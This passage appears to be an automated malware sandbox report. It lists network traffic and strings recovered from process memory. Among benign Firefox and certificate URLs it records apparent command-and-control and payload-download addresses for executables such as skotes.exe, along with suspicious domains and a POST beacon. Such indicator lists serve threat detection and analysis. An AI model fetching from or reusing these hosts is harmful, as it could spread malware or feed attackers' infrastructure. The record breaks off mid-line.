Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:

Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drive-connect.cyou

Source: firefox.exe, 0000001D.00000002.3399505695.00000214AAD50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe-P
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe;P
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe~Q
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeZP
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exekQ
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeGP
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe_Q
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp, f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDh
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHh
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgRL
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpph
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206;
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32Z=
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php514001
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedM=
Source: skotes.exe, 00000006.00000002.3482291787.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/erences.SourceAumid001p
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe)
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384ed
Source: skotes.exe, 00000006.00000002.3482291787.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeV
Source: skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055C2000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055C2000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/P
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055C2000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055C1000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: f30149f036.exe, 0000000C.00000003.3248884803.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3220567786.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3276392844.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/downloadt
Source: f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keyn6
Source: f30149f036.exe, 0000000C.00000003.3331502987.00000000055C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/download
Source: f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/downloadX
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download8
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadD
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadF
Source: f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadb
Source: f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3331502987.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadfaults
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadl
Source: f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadlZ
Source: f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadp
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3442157921.00000214B3B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001D.00000002.3380329645.00000214A6D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-timesD
Source: firefox.exe, 0000001D.00000002.3380329645.00000214A6D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001D.00000003.3282828733.00000214AB295000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3431199683.00000214AF1AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3425023618.00000214AE2BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3443577003.00000214B3C97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3381157977.00000214A6EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3419739637.00000214ACE20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3282828733.00000214AB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 